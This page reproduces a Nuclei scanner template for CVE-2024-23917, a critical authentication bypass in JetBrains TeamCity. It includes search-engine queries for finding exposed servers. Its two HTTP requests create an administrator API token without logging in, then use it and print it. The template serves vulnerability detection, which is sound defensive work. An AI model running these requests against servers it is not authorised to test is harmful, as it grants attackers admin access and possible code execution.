JetBrains TeamCity > 2023.11.3 - Authentication Bypass

ID: CVE-2024-23917

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,auth-bypass,teamcity,jetbrains

Description

In JetBrains TeamCity before 2023.11.3 authentication bypass leading to RCE was possible

YAML Source

id: CVE-2024-23917

info:
  name: JetBrains TeamCity > 2023.11.3 - Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    In JetBrains TeamCity before 2023.11.3 authentication bypass leading to RCE was possible
  reference:
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://www.rapid7.com/db/vulnerabilities/jetbrains-teamcity-cve-2024-23917/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-23917
    cwe-id: CWE-306,CWE-288
    epss-score: 0.04384
    epss-percentile: 0.92363
    cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jetbrains
    product: teamcity
    shodan-query:
      - "http.title:teamcity"
      - http.component:"teamcity"
    fofa-query: "title=teamcity"
    google-query: "intitle:teamcity"
  tags: cve,cve2024,auth-bypass,teamcity,jetbrains
flow: http(1) && http(2)

http:
  - method: POST
    path:
      - "{{BaseURL}}/app/rest/users/id:1/tokens/{{randstr}};.jsp?jsp_precompile=true"
    headers:
      Content-Type: "application/x-www-form-urlencoded"

    matchers:
      - type: dsl
        dsl:
          - status_code==200
          - "contains(content_type,'application/xml')"
          - 'contains(body,"<token name=\"{{randstr}}\"")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: authtoken
        internal: true
        group: 1
        regex:
          - 'value="(.+)"'

  - method: GET
    path:
      - "{{BaseURL}}/app/rest/server"
    headers:
      Authorization: "Bearer {{authtoken}}"

    extractors:
      - type: dsl
        dsl:
          - '"Token:" + authtoken'

    matchers:
      - type: dsl
        dsl:
          - "status_code==200"
          - "contains(content_type,'application/xml')"
          - "contains(body,'<projects href=')"
        condition: and
# digest: 4a0a0047304502203cb57474c2305c08dcb85a9a9c25a0cb28807ec13326930b3a994d8ce020390e022100c91d23343774a70455a903b023fa3d37a63962a842667ec93d39e459763e9807:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-23917.yaml"

View on Github